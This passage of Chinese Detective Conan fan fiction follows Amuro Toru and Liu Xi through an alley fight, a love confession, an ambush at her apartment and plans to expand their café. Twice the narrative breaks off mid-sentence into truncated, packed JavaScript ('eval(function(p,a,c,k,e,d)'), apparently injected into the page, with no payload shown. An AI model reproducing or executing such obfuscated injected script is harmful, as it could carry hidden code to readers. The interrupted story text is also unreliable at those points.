鎏汐瞳孔微缩,身体以不可思议的柔韧度向后弯折,短棍擦着发梢掠过。她顺势单手撑地,另一只手精准扣住持匕者手腕,借力旋身,一记凌厉的肘击狠狠撞在那人肋下! “呃啊!”持匕者痛哼一声,匕首脱手。但另一人的攻击接踵而至。 战斗在狭窄的后巷激烈展开。鎏汐的身影在四人围攻中穿梭,快如鬼魅。她的格斗术兼具效率与美感,每一个闪避、每一次反击都精准无比,充分利用环境——墙壁的反弹、杂物箱的阻碍、对手身体的遮挡。然而,对方显然也不是普通混混,抗击打能力极强,配合紧密,如同四头训练有素的猎犬,死死咬住猎物不放。 鎏汐的呼吸开始变得急促,额角渗出细密的汗珠。她能感觉到体力在快速消耗,更麻烦的是,对方似乎摸清了她的一些路数,攻击越发具有针对性。一个疏忽,短棍擦过她的肩头,火辣辣的疼痛传来。 必须速战速决! 她眼神一厉,抓住一个稍纵即逝的空档,猛地欺近最初说话的男人,手刀闪电般切向其颈侧动脉!这一击若中,足以让对手暂时失去战斗力。 然而,就在她全力进攻、后背空门大露的刹那,异变陡生! 那名被她击退、捂着肋部的持匕者,眼中凶光暴涨,竟强忍剧痛,从地上一把抓起掉落的匕首,用尽全身力气,朝着鎏汐毫无防备的后心猛刺而去! 刀刃的寒光在昏暗中划过一道死亡的弧线。 时间仿佛被拉长。鎏汐听到了背后袭来的风声,感受到了那刺骨的杀意,但她前冲的力道已尽,回防已然不及! 就在这电光石火之间—— 一道身影以远超人类极限的速度从巷口冲入!快得几乎拖出残影! “铛——!” 金属碰撞的刺耳锐响炸开! 匕首没有刺中鎏汐,而是被一柄突然横挡过来的短棍(从旁边喽啰手中夺来)精准格开,火星四溅! 安室透挡在了鎏汐身后。 他背对着鎏汐,坚实的脊背如同一堵突如其来的墙,隔绝了所有致命的威胁。但代价是,为了抢在这一瞬间挡住匕首,他的左侧手臂未能完全避开,锋利的刃尖划开了他的衣袖,在他结实的小臂上留下一道深长的血口。 鲜血瞬间涌出,在深色衣袖上洇开一片更深的暗色,空气中立刻弥漫开淡淡的铁锈味。 “安室……?”鎏汐回过头,看清眼前的景象时,心脏像是被一只无形的手狠狠攥紧。那道伤口狰狞刺目,鲜血顺着他的指尖滴落,砸在地上,绽开小小的、令人心悸的红点。 她从未见过安室透受伤。在她印象里,这个男人总是游刃有余,强大到近乎无懈可击。此刻看到他为自己流血,一种陌生的、近乎恐慌的情绪猛地攫住了她,远比刚才自己身处险境时更为剧烈。 安室透甚至没有看一眼自己的伤口。他的目光死死锁定在四名袭击者身上,原本总是带着三分笑意或七分深沉的紫灰色眼眸,此刻只剩下冰冷的、近乎实质的杀意。那眼神让久经沙场的鎏汐都感到一阵寒意——那不是愤怒,而是某种更可怕的东西,像是沉睡的凶兽被彻底触怒后,露出的獠牙。 “退后。”安室透的声音很低,却带着不容置疑的命令口吻,是对鎏汐说的。他没有回头,只是微微侧身,将她更严密地护在身后。 四名袭击者也被这突如其来的变数和安室透周身散发出的恐怖气势震了一下,但他们没有退缩,反而更加警惕地围拢上来。 “波本?”最初那男人眯起眼,认出了安室透,语气带着忌惮,却并无惧色,“组织内部的事,你最好别插手。” 安室透没有说话。他只是缓缓活动了一下受伤的手臂,鲜血顺着动作流淌得更急,他却仿佛感觉不到疼痛。下一秒,他动了! 如果说鎏汐的战斗是精密高效的“艺术”,那么此刻安室透的进攻,就是纯粹暴力的“风暴”!他的速度快到肉眼难以捕捉,力量更是大得惊人。没有多余的花招,每一击都直奔要害——关节、穴位、咽喉、太阳穴。招式简洁狠辣,带着明显的军警格斗痕迹,却又更加致命。 “咔嚓!”令人牙酸的骨裂声响起,一名袭击者的手腕被他生生拧断。 “砰!”又一记沉重的肘击,狠狠撞在另一人的胃部,那人立刻蜷缩倒地,呕出酸水。 安室透就像一头冲入羊群的猛虎,所过之处,骨断筋折,哀嚎不断。他的动作带着一种宣泄般的狂怒,而支撑这份狂怒的,是鎏汐手臂上那道刚刚出现的擦伤,和他自己正在淌血的手臂。 鎏汐没有听从“退后”的命令。她瞬间明白了安室透的意图——他负责正面强攻,她则需要化解侧翼和背后的威胁。两人甚至没有交换一个眼神,却仿佛心有灵犀。 当最后一名站着的袭击者(正是那持匕者)试图从侧面偷袭安室透时,鎏汐鬼魅般出现在他身侧,一记精准的手刀劈在其颈侧。那人眼白一翻,软软倒地。 小巷重新恢复了寂静,只剩下粗重痛苦的喘息声,以及……血滴落地的轻微“滴答”声。 安室透站在一片狼藉中,微微喘息,冷峻的目光扫过地上失去战斗力的四人。当他转过身,看向鎏汐时,眼底那骇人的戾气如潮水般迅速退去,取而代之的是一种深切的、几乎要溢出来的担忧。 他的目光首先落在鎏汐肩头被短棍擦过的地方,那里的衣物破了,隐约可见红肿。“受伤了?”他问,声音有些沙哑。 鎏汐摇摇头,她的注意力全在他手臂那道触目惊心的伤口上。血还在流,染红了他的手,也染红了她此刻翻涌的心绪。 “你的手……”她上前一步,想查看,却又顿住,指尖微微发颤。一种混合着后怕、感激、愧疚和某种她尚不能完全理解的揪心感,在她胸腔里横冲直撞。 安室透顺着她的目光看了眼自己的伤口,眉头都没皱一下。“小伤。”他轻描淡写,仿佛那狰狞的伤口不存在,“先离开这里,警察很快会被动静引来。” 他伸手,用未受伤的右手,轻轻握住鎏汐的手腕。掌心温热,带着薄茧,却异常稳定。 鎏汐没有挣脱。她任由他拉着,快步离开这片弥漫着血腥味的战场。月光重新洒下,照在两人交叠的身影上,也照在安室透手臂那道为保护她而留下的伤痕上,像一道无声的烙印,深深烫进了她的眼底,也烫进了她冰封已久的心湖深处。 危机暂解,但暗流未息。而有些东西,已在鲜血与月光下,悄然改变。 战斗的余韵在狭窄的后巷里久久不散。血腥味、汗味、还有尘埃被搅动后弥漫的土腥气,混合成一种令人神经紧绷的气息。地上横七竖八躺着四名失去意识的袭击者,偶尔发出几声痛苦的呻吟,更衬得这短暂的寂静有些诡异。 安室透背对着鎏汐,微微喘息。他手臂上的伤口还在流血,深色的液体顺着指尖滴落,在地面溅开小小的、刺目的红点。但他仿佛感觉不到疼痛,只是缓缓转动了一下受伤的左臂,似乎在确认关节的活动是否受限。月光落在他绷紧的侧脸线条上,映出眼底尚未完全褪去的冰冷戾气。 鎏汐站在他身后半步的位置,目光胶着在他受伤的手臂上。那道伤口比她预想的更深,皮肉外翻,甚至能看到一点隐约的白——那是骨头吗?这个念头让她的心脏像是被一只冰冷的手狠狠揪了一下。她见过无数伤口,自己的,敌人的,早已麻木。但此刻,看着这道因保护她而出现的伤口,一种陌生的、尖锐的刺痛感,正顺着脊椎蔓延开来。 “还能动吗?”她听到自己的声音响起,比平时更干涩。 安室透闻声,终于回过头。当他看向她时,眼中的戾气如同潮水般迅速退去,被一种深切的、几乎要满溢出来的担忧取代。“我没事。”他的声音有些低哑,却异常平稳,“你呢?有没有其他地方受伤?” 他一边说,一边目光快速扫过她全身,最后定格在她肩头那道被短棍擦过的红肿上,眉头立刻蹙紧。 “皮外伤。”鎏汐简短地回答,向前迈了一步,伸出手,“让我看看你的手。” 安室透没有拒绝。他抬起受伤的左臂,动作间牵动伤口,鲜血流得更急了一些。 鎏汐的指尖在即将触碰到他伤口边缘时,几不可察地停顿了一瞬。然后,她稳住了那丝细微的颤抖,轻轻托住他的小臂,避开伤处,借着月光仔细观察。伤口长约十厘米,斜贯小臂外侧,深度不容乐观,必须立刻止血缝合。但眼下,他们显然没有这个条件。 “需要立刻处理。”她的声音恢复了惯常的冷静,但那冷静之下,压着一丝连她自己都未曾察觉的紧绷。 “我知道。”安室透应道,视线却没有离开她的脸,反而更专注地看着她低垂的眼睫和紧抿的唇角,“但这里不安全,必须先离开。” 话音刚落—— “呃啊……混、混蛋……”最初那名被安室透拧断手腕的袭击者,竟挣扎着用另一只完好的手,从腰间摸出了一把备用的弹簧刀!他脸上满是血污和疯狂的恨意,凭着最后一口气,猛地从地上弹起,不顾一切地扑向背对着他的安室透! “后面!”鎏汐瞳孔骤缩,厉声预警的同时,身体已经本能地做出反应——她来不及多想,也来不及做任何复杂的格挡动作,几乎是凭借着一种近乎莽撞的直觉和速度,猛地侧身一步,硬生生插到了安室透与那袭击者之间! 她将自己变成了安室透的盾牌。 安室透在她出声示警的瞬间就已察觉身后的风声,他反应极快,立刻就想转身应对。但鎏汐的动作更快,她插入的角度也极其刁钻,恰好挡在了他转身的路径上。电光石火之间,他若强行转身格挡,很可能会先撞到鎏汐! 就这么一刹那的犹豫和阻滞—— 袭击者手中的弹簧刀,已经带着同归于尽般的狠厉,刺到了鎏汐面前!目标是她的颈侧动脉! 千钧一发! 安室透的紫灰色眼眸中,那刚刚平息的暴风雪瞬间以更恐怖的姿态席卷重来!他甚至没有看清自己的动作,受伤的左手因剧痛和用力传来撕裂感,但他完全无视了。他的右手如同铁钳般猛地探出,后发先至,精准无比地抓住了袭击者持刀的手腕! “咔嚓!” 令人牙酸的骨骼碎裂声清晰响起。袭击者的腕骨被他硬生生捏碎! 弹簧刀脱手飞出,“当啷”一声掉落在远处的碎石地上。 安室透没有丝毫停顿,捏碎对方手腕的右手顺势向下一带,另一只手(受伤的左手)手肘如重锤般狠狠撞在袭击者的胸口! “噗——”袭击者喷出一口血沫,整个人如同破麻袋般向后飞跌出去,撞在墙壁上,彻底没了声息。 这一切发生在不到两秒的时间里。快得鎏汐甚至能感觉到那刀刃带起的冰凉气流擦过自己颈侧的皮肤。 危险解除。 但安室透周身的低气压却并未散去。他保持着攻击后的姿态,微微低着头,胸膛因剧烈的情绪和动作起伏着。受伤的左臂因为刚才的发力,鲜血如同泉涌,瞬间染红了更大一片衣袖,甚至有几滴溅到了鎏汐的脸上,温热而粘腻。 他缓缓转过头,看向鎏汐。那双总是蕴藏着千般心思的眼眸,此刻漆黑如最深的寒夜,里面翻涌着鎏汐从未见过的惊怒、后怕,还有某种几乎要将人灼伤的激烈情绪。 “谁让你挡上来的?!”他的声音压得极低,却因压抑着滔天的怒火而微微发颤,每个字都像从齿缝里挤出来,“你知道刚才有多危险吗?!万一我没抓住——” 他的话戛然而止,仿佛连说出那个假设都让他无法忍受。他猛地吸了口气,闭上眼,再睁开时,眼底的暴戾被强行压下,取而代之的是一种深不见底的疲惫和……一丝难以掩饰的后怕。 鎏汐愣住了。 她见过他漫不经心的调侃,见过他深不可测的伪装,见过他冷厉果决的出手,也见过他温柔含笑的注视。但她从未见过他如此……失态。不是因为受伤,而是因为她。 因为她的“擅自”保护。 一股复杂难言的情绪涌上心头。有被他责问的愕然,有对他伤势加重的愧疚,但更多的,是一种连她自己都未曾预料到的、微弱的暖流,悄悄融化了她心湖某处坚冰的一角。 “……我只是判断,由我来应对更有效率。你手臂受伤,转身和发力会受限。”她听到自己用那种近乎刻板的、分析任务的口吻解释道,试图让气氛回归“正常”。 安室透看着她那张依旧没什么表情、却罕见地带着一丝不易察觉的茫然的脸,胸口那股又急又怒又心疼的郁气,忽然就消散了大半,只剩下浓浓的无奈和一种更深沉的东西。 他摇了摇头,没再说什么,只是伸出未受伤的右手,轻轻握住了她的手腕。这次,他的力道很轻,甚至带着一种小心翼翼的珍视感。 “鎏汐。”他叫她的名字,声音已经恢复了平日的低沉,却多了几分不同寻常的认真,“听着。以后,无论遇到什么情况,不要这样挡在我前面。” 他顿了顿,目光与她平静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“剩下的,交给我。”安室透松开了她的手腕,转身面向最后两名刚刚挣扎着爬起、还试图负隅顽抗的袭击者。他将自己受伤的后背,真真正正地、毫无保留地留给了鎏汐。 这个动作本身,比任何言语都具有更强大的力量。 鎏汐看着他挺拔而毫无防备的背影,看着他因受伤而动作略显迟缓的左臂,心脏像是被什么东西轻轻撞了一下,酸涩,却又带着一种前所未有的充实感。 她深吸一口气,将那些纷乱陌生的情绪暂时压下,眼神重新变得锐利如刀。她向前一步,与安室透背脊相靠,形成了一个坚实的、互为倚角的防御姿态。 她能感觉到他背部的温度透过衣料传来,也能感觉到他因疼痛而微微紧绷的肌肉。但更多的是,一种难以言喻的安定感和……默契。 “左侧交给我。”她低声道,声音恢复了惯常的冷静,却似乎多了一丝不同以往的坚定。 “好。”安室透应道,声音里带着一丝极淡的、如释重负的笑意。 最后的战斗几乎没有悬念。安室透专注于正面仅存的两名敌人,攻势依旧凌厉,但明显有了章法,不再像之前那样狂暴。而鎏汐则如同最敏锐的守护者,精准地拦截了来自侧后方的一切潜在威胁——一块被踢飞过来的碎石,一名试图偷袭的敌人手中滑落的短棍。她的动作干净利落,每一次出手都恰到好处地弥补了安室透因受伤而可能出现的空档。 两人明明没有经过任何配合训练,此刻却像并肩作战多年的战友,每一个眼神、每一次细微的移动,都达到了惊人的同步。背靠着背,仿佛能感知到对方下一瞬的意图。 当最后一名袭击者被安室透一记手刀劈中颈侧软倒时,小巷彻底恢复了寂静。 安室透缓缓吐出一口浊气,转身看向鎏汐。鎏汐也同时转过身。 四目相对。 他看到她额角细密的汗珠,看到她眼中尚未完全平息的锐利光芒,也看到了那光芒深处,一丝为他也为自己化解了危机后的、几不可察的放松。 她看到他苍白的脸色(失血所致),看到他手臂上那道愈发触目惊心的伤口,也看到了他眼底那抹毫不掩饰的、温暖的笑意。 没有言语。 安室透从自己总是随身携带的简易急救包里——这习惯源于他危险的工作——拿出消毒纱布和绷带,递向鎏汐。动作自然得像是一种无声的请求。 鎏汐默然接过。她拉过旁边一个相对干净的废弃木箱,示意他坐下。 安室透顺从地坐了下来,将受伤的手臂平放在自己膝上。 鎏汐半蹲在他面前,就着昏暗的光线,开始为他处理伤口。她的动作不再像之前为他贴创可贴时那样略显僵硬,而是变得异常专注和……轻柔。她用消毒纱布小心翼翼地清理伤口周围的血污,涂抹药膏,然后拿起绷带,一圈一圈,极其细致地缠绕、包扎。她的指尖偶尔会不经意地碰到他的皮肤,微凉,却带着一种奇异的安抚力量。 安室透静静地看着她低垂的侧脸,看着她微微颤动的长睫,看着她因为专注而微微抿起的唇。手臂上的疼痛似乎都因此而变得微不足道了。一种前所未有的平静和满足感,悄然充盈了他的心房。 绷带打好最后一个结。鎏汐抬起头,正对上他凝视的目光。那目光太过深邃温柔,让她心头又是一跳,下意识地想移开视线。 但这一次,安室透没有给她躲避的机会。 他伸出未受伤的右手,轻轻握住了她还没来得及收回的、沾着一点药膏和血迹的手。 他的手很大,掌心温热,将她的手完全包裹住。 “鎏汐,”他看着她,声音低缓而清晰,如同月下流淌的溪水,一字一句,敲打在她的心上,“我喜欢你。是真心的。不是为了咖啡厅,不是为了店长的位置,也不是为了任何别的。只是因为你是鎏汐,是我从第一次见面就注意到、就再也放不下的人。” 他终于将那层最后的窗户纸,彻底捅破。没有迂回,没有试探,只有最直接、最坦率的告白。 鎏汐整个人僵住了。大脑有一瞬间的空白。血液似乎嗡地一声冲上了头顶,耳朵里只能听到自己突然变得剧烈的心跳声。 喜欢……? 这个词对她而言,遥远得如同另一个世界的词汇。在她的认知里,人与人的关系只有任务、合作、敌对、利用。所谓的“喜欢”,是脆弱而无用的东西,是会导致判断失误、行动迟缓的致命弱点。 可是…… 可是眼前这个男人,用他的行动一次又一次地颠覆着她的认知。他的帮助,他的保护,他的受伤,他交付的后背,他此刻毫无保留的凝视和话语……这一切,难道真的可以简单地用“算计”或“别有用心”来解释吗? 如果这也是算计,那这算计的代价,未免太大了。 她看着他握住自己的手,看着他那双映着月光和自己小小倒影的、写满真诚的眼眸。拒绝的话到了嘴边,却无论如何也说不出口。 她只是怔怔地看着他,耳根不受控制地迅速染上一层薄红,一直蔓延到脸颊。那层常年笼罩在她周身的冰冷疏离气息,在这一刻,如同阳光下的冰雪,悄无声息地消融了一角。 她没有抽回手。 也没有说话。 但她的沉默,她的没有回避,她指尖那细微的、不再试图挣脱的放松,以及那抹罕见地浮现在她脸上的、淡到几乎看不见的红晕—— 对安室透而言,这已是此刻最动听、最珍贵的回应。 他眼底的笑意加深,如同落满了星辰。他没有再逼问,只是将她的手握得更紧了一些,然后轻轻松开。 “先离开这里。”他站起身,动作牵扯到伤口,眉头几不可察地蹙了一下,但神情却异常轻松,“剩下的,我们有很多时间。” 鎏汐也随之站起,默默跟在他身边。两人并肩走出这条弥漫着血腥和战斗痕迹的小巷,将背后的混乱和危险暂时抛下。 月光将他们的影子拉得很长,渐渐交融在一起。夜风依旧微凉,但空气中似乎有什么东西,已经变得截然不同。 信任的高墙已然筑起,情感的种子悄然破土。而未来,就在他们并肩前行的脚下,悄然延伸。 37.第 37 章 那张薄薄的临时居住证落在掌心时,鎏汐竟有片刻的恍惚。 证件照片上的自己神色平静,黑发利落地束在脑后,眼神里还残留着穿越初期那抹挥之不去的警惕。山田律师将盖章的文件推到她面前,语气公事公办:“手续齐全了,鎏汐小姐。从今天起,你在米花町拥有合法居留权,期限一年,可续期。” “谢谢。”鎏汐接过证件,指尖摩挲过塑料封膜温凉的表面。 走出律师事务所时,午后的阳光刺得她微微眯眼。米花町的街道依旧喧嚷——放学归家的孩童嬉笑着奔跑,主妇们拎着购物袋低声交谈,便利店门口的招财猫机械地摆着手。这一切曾与她隔着一层透明的屏障,如今终于有了踏实的触感。 她将证件小心收进内袋,贴着心口的位置。 能租房了,能开银行账户了,能光明正大地走在警车巡逻的街道上,不必再像野猫般躲在桥洞与废弃仓库之间。波罗咖啡厅的转让手续可以正式过户,那些因“身份不明”而迟迟无法签订的供货合同,终于能一一落笔。 鎏汐沿着街道慢慢走着,脚步却不自觉越走越快。 经过波罗咖啡厅时,她停下脚步。玻璃窗内,安室透正弯腰擦拭靠窗的桌子,侧脸在暖光下显得格外专注。似是察觉到视线,他忽然抬头,隔着玻璃与她目光相撞。 鎏汐下意识想移开目光,却见安室透唇角扬起一抹笑,朝她摆了摆手。 她顿了顿,推门进去。 “拿到了?”安室透放下抹布,转身从柜台后取出一个小纸盒,“恭喜。这是庆祝礼物。” 纸盒里是一块焦糖布丁,表层烤得微焦,撒着细碎的杏仁片。 “店里试做的新品。”他语气轻松,仿佛这只是同事间最寻常的关怀,“尝尝看,给点意见。” 鎏汐接过勺子,挖了一小口。布丁入口即化,焦糖的微苦与奶香平衡得恰到好处。 “不错。”她客观评价。 安室透轻笑:“能从你嘴里听到‘不错’,比拿到米其林评价还难。” 两人之间短暂沉默。吧台后的咖啡机发出蒸汽嘶鸣,窗外有电车驶过的轧轨声。这种平静的日常感,对鎏汐而言陌生又珍贵。 但她的警惕并未完全卸下。 当夜打烊后,鎏汐留在店内核对账目。笔记本电脑屏幕泛着冷光,她敲击键盘的手指忽然一顿——后台登录记录显示,三小时前有一个陌生IP尝试访问咖啡厅的会员系统,虽被防火墙拦截,却触发了异常警示。 她调出IP追踪程序,十指在键盘上飞快跳跃。代码流瀑布般滚动,最终锁定源头:警视厅内部网络,终端编号属于刑事部搜查一课。 鎏汐眼神冷了下来。 她关闭账目页面,转而调出自己临时居住证的电子档案。果然,申请记录下方多了一条备注:“信息待核实,建议补充过往履历证明。”备注时间就在今天下午,操作者ID模糊,但登录地点同样是警视厅。 有人在不死心地挖她的底。 鎏汐没有立刻动作。她关掉电脑,起身走到窗边。夜色中的米花町灯火阑珊,几辆警车缓缓驶过街口,红蓝警灯无声闪烁。 她拿起手机,指尖悬在安室透的号码上,犹豫片刻还是按了下去。 电话只响了一声就被接起。 “鎏汐?”安室透的声音带着一丝刚醒的沙哑,背景音很安静,“出事了?” “我的身份信息被警视厅内部人员查询了。”她言简意赅,“IP属于搜查一课,操作时间今天下午三点十七分。” 电话那头沉默两秒,随即传来衣料摩擦的窸窣声,像是安室透瞬间坐直了身体。 “我知道了。”他的语气沉了下去,“你别动任何痕迹,我来处理。” “你能处理?”鎏汐问。 “我是公安。”安室透难得直接承认这层身份,声音里透着冷冽,“警视厅内部的事,公安有权过问。况且——” 他顿了顿,语气稍缓:“你现在是我咖啡厅的店长,算是我的‘管辖范围’。” 鎏汐没接这句暧昧的调侃,只道:“查询者可能和黑衣组织有牵连。我的身份申请曾经过山田律师的手,而他与组织外围有联系。” “我明白。”安室透的声音已恢复冷静,“给我半小时。” 电话挂断后,鎏汐没有离开咖啡厅。她给自己泡了杯黑咖啡,坐在靠窗的位置慢慢喝着。夜晚的街道逐渐安静下来,只有二十四小时便利店的灯光还亮着。 二十三分钟后,手机震动。安室透发来一条加密信息:“已处理。查询记录已抹除,操作者收到内部警告,短期内不会再有动作。但你要小心,组织可能在通过警方渠道试探你。” 鎏汐回复:“知道。” 几乎同时,第二条信息跳出来:“早点休息,明天见。” 她盯着这行字看了几秒,最终没有回复,只是将手机收起。杯中的咖啡已经凉了,她端起一饮而尽,苦涩的余味在舌尖蔓延。 身份到手了,但脚下的路依然布满暗礁。黑衣组织的触角比想象中伸得更远,警方内部也并非铁板一块。她这个突然出现在米花町、身手过人却来历成谜的女人,注定会成为多方关注的焦点。 鎏汐起身关掉店内最后一盏灯,锁门离开。 夜风微凉,她拉紧外套的领口,走向临时租住的公寓——那是安室透通过公安线人帮她找的房子,地段安静,安保严格,邻居大多是朝九晚五的上班族。 走进楼道时,感应灯应声亮起。鎏汐在电梯前停下,目光扫过光洁如镜的金属门板,倒映出自己平静却警觉的脸。 电梯门缓缓打开。 就在她抬脚要迈入的瞬间,眼角余光瞥见楼梯间防火门后一闪而过的黑影。 鎏汐脚步未停,自然地走进电梯,按下楼层按钮。电梯门合拢的刹那,她迅速侧身贴向厢壁,右手已摸向腰间——那里别着一把从黑衣组织喽啰手中缴获的□□,刀鞘冰凉。 数字屏上的楼层数字缓缓跳动。 五楼、六楼、七楼…… “叮。” 电梯停在她租住的十二楼。门开瞬间,鎏汐如猎豹般压低身形闪出,匕首已反握在手,目光如电扫过走廊—— 空无一人。 感应灯安静地亮着,地毯平整,各家门户紧闭。只有尽头那扇通往天台的防火门,似乎比白天时虚掩得更多了一些。 鎏汐没有走向自己的房门,反而放轻脚步靠近那扇防火门。指尖触上门板的瞬间,她忽然听到楼下传来轻微的脚步声,正沿着楼梯快速上行。 不止一人。 她当机立断,推开防火门闪身上了天台。夜风呼啸而来,吹起她的长发。天台空旷,水箱和通风管道在月光下投出幢幢黑影。 楼梯间的脚步声已追至十二楼,短暂停顿后,防火门被猛地推开。 两名身穿深色夹克的男人冲上天台,手中赫然握着装了消音器的手枪。 “人在哪?”较矮的那个低声问。 “分头找。”高个子示意。 两人刚散开,鎏汐已从水箱后闪身而出,匕首在月光下划出一道寒光,精准击中矮个男人持枪的手腕。枪械落地发出闷响,那人痛呼未出口,已被鎏汐一记肘击砸中颈侧,软倒在地。 高个子闻声转身开枪,子弹擦着鎏汐的肩头飞过,击中水泥地面溅起火星。鎏汐就地翻滚逼近,匕首直刺对方膝弯,在对方吃痛弯腰的瞬间,旋身踢飞他手中的枪。 战斗在三十秒内结束。 鎏汐用缴获的鞋带将两人背对背捆牢,搜出他们身上的证件——伪造的警员证,但夹层里却藏着印有乌鸦纹章的黑衣组织标记。 “谁派你们来的?”她蹲下身,匕首尖端抵在高个子喉结处。 那人咬牙不语。 鎏汐也不追问,转而搜出两人的手机,用匕首撬开后盖,取出SIM卡折断,又将手机恢复出厂设置。做完这些,她起身走到天台边缘,拨通了安室透的电话。 “又有状况?”安室透接得很快,背景音里有车辆行驶的声音,他似乎在移动中。 “两名疑似组织成员潜入我的公寓楼,已被制服。”鎏汐语气平静,“他们身上有伪造警员证,内部有乌鸦标记。” 电话那头传来刺耳的刹车声。 “你受伤了吗?”安室透的声音绷紧了。 “没有。”鎏汐顿了顿,“但他们能准确找到我的住址,说明我的新身份信息已经泄露。” “我马上到。”安室透语速极快,“在我到之前,别离开天台,也别接近那两个人——他们身上可能有自毁装置或追踪器。” 电话挂断后,鎏汐退到天台入口处,背靠墙壁警戒。夜风吹得她发丝飞扬,远处米花町的灯火如星河铺展,温暖之下暗藏杀机。 约莫十分钟后,楼梯间传来急促的脚步声。安室透推门而入,黑色夹克还带着夜风的凉意,目光第一时间锁定鎏汐,将她从头到脚迅速扫视一遍,确认无恙后才松了口气。 他走向被捆的两人,蹲下身仔细检查,果然从高个子后颈衣领内摸出一枚微型追踪器,又从矮个子的鞋跟里抠出一粒胶囊状的自毁毒药。 “标准的组织作风。”安室透冷声说着,将那些危险物品装入密封袋,“这两人应该是外围的试探小队,任务失败就会灭口或自尽。” 他起身看向鎏汐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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安室透唇角扬起一抹笑,那笑容在月光下少了平日的伪装,多了几分真实的温柔。 “走吧,我送你下楼。这两个人我会让公安同事来处理。”他示意鎏汐先行,自己断后。 走下楼梯时,感应灯逐层亮起。鎏汐走在前面,能听到身后安室透平稳的脚步声,不远不近地跟着,如同一种无声的守护。 走到十二楼走廊,她停在自己的房门前,掏出钥匙。 “鎏汐。”安室透忽然叫住她。 她转身。 “身份虽然到手了,但黑衣组织和警方内部都有人盯着你。”他看着她,眼神郑重,“以后行事一定要更小心,非必要不要轻易暴露你的能力。有些风头,暂时要收敛。” 鎏汐点点头:“我明白。” “还有,”安室透向前迈了一小步,声音压低,“如果遇到无法应对的状况,别逞强,第一时间联系我。记住,你现在不是一个人了。” 这话说得太过直白,鎏汐耳尖微微发热。她移开目光,低声应道:“……知道了。” 钥匙插入锁孔,转动。房门打开的瞬间,室内的暖光流淌出来,将她笼罩其中。 “晚安,店长。”安室透站在光影交界处,朝她挥了挥手。 “晚安。”鎏汐轻声回应,关上了门。 背靠着门板,她能听到门外安室透离去的脚步声,逐渐消失在走廊尽头。掌心那张临时居住证微微发烫,而口袋里那枚紧急联络器沉甸甸的,像一颗安心的锚。 窗外,米花町的夜色依旧深沉,潜伏的危险并未散去。但这一刻,鎏汐第一次觉得,自己真正在这个世界扎下了根。 不是漂泊的浮萍,而是有了可以回去的屋檐,有了需要守护的店铺,也有了……可以交付后背的人。 她走到窗边,拉开窗帘一角。楼下街道,安室透的身影正走向停在路边的白色马自达RX-7。他上车前似有所觉,抬头望向她的窗口。 鎏汐没有躲闪,隔着玻璃与他对视片刻,轻轻点了点头。 安室透笑了,抬手做了个“快去休息”的手势,这才坐进驾驶座。引擎低吼一声,白色跑车融入夜色,消失在前方路口。 鎏汐放下窗帘,转身走进卧室。那张临时居住证被她郑重地放进抽屉最深处,与从原世界带来的唯一一件遗物——一枚磨损严重的执行官徽章——并排放在一起。 徽章冰冷,证件温润。 过去与现在,异世与此地,终于在这一刻达成了微妙的平衡。 她躺上床,关掉台灯。黑暗中有月光从窗帘缝隙漏入,在地板上投下一线银白。 闭上眼睛时,鎏汐在心中默默梳理接下来的路:经营好咖啡厅,稳固这个立足点;协助安室透应对黑衣组织的威胁;在红黑博弈的夹缝中,为自己、也为他在意的这个世界,挣出一片安稳的天地。 38.第 38 章 鎏汐将那份临时居住证锁进波罗咖啡厅收银台下的保险柜时,指尖在金属柜门上停顿了片刻。 证件在,意味着她可以正式将咖啡厅的营业执照过户到自己名下,可以申请商业贷款,可以和供货商签订长期合同——那些曾因“身份不明”而搁浅的计划,如今都有了落地的可能。 晨光透过玻璃窗洒进咖啡厅,在实木桌面上投下温暖的光斑。鎏汐站在吧台后,目光缓缓扫过整个空间:十二张四人桌,八个吧台位,靠窗的那排座位最受欢迎,午后阳光好的时候总是坐满。后厨面积不大,但设备齐全;储藏间堆满了咖啡豆和食材,显得有些拥挤。 “店长,早。” 安室透的声音从门口传来。他今天穿着深灰色的POLO衫,黑色围裙系得一丝不苟,手里拎着刚出炉的牛角包纸袋,香气随着他的脚步在空气中弥漫开来。 “隔壁面包店的新品,尝尝。”他将纸袋放在吧台上,顺手从旁边抽出一张设计草图铺开,“你昨天说的扩建方案,我画了个初步布局。” 鎏汐抬眼看去。 草图笔触流畅,显然出自专业之手。原本的咖啡厅被扩宽了三分之一,临街一侧增设了外带窗口,内部重新划分出两个半封闭的包间,后厨面积扩大,还标注了新增的烘焙区和冷藏设备的位置。 “外带窗口可以分流30%的客流,减少店内排队压力。”安室透的手指在草图上移动,“包间适合商务会谈和私人聚会,收费可以上浮20%。后厨扩建后,我们能增加简餐品类,甚至可以推出预约制的私房菜。” 他说得条理清晰,每个细节都考虑周全。 “你还会画设计图?”鎏汐问。 安室透笑了笑:“以前帮朋友装修过店面,学了一点。” 这轻描淡写的“一点”,在鎏汐看来明显是谦辞。草图上的尺寸标注、动线规划、甚至消防通道的预留位置都完全符合规范,这绝不是业余爱好者能随手画出的水准。 但她没有追问。 “施工队呢?”鎏汐拿起草图仔细端详,“工期、预算、材料,这些都要落实。” “我已经联系了三家可靠的施工队,下午会来报价。”安室透从围裙口袋里掏出一本小记事本,翻到某一页,“这是他们的资质和过往案例,我都查过了,没有纠纷记录。材料供应商我也筛选了一遍,这家木材厂的老板是我……以前的熟人,能给最低折扣。” 他说“以前的熟人”时,语速有微不可察的停顿。 鎏汐接过记事本,上面密密麻麻记满了联系方式、报价对比、材料规格。字迹工整有力,重点处还用红笔做了标记。 “你昨晚没睡?”她抬眼看他。 安室透眼底确实有淡淡的青色,但笑容依旧明朗:“睡了几个小时,够了。扩建的事早点敲定,咖啡厅就能早点步入正轨。你身份刚到手,需要尽快建立稳定的经济来源,这是最稳妥的途径。” 他说得没错。鎏汐合上记事本,指尖在封面上轻轻敲击。 “谢谢。”她低声说。 “谢什么,我也是咖啡厅的员工。”安室透转身开始擦拭咖啡机,语气轻松,“店长好了,员工才能好,这是共赢。” 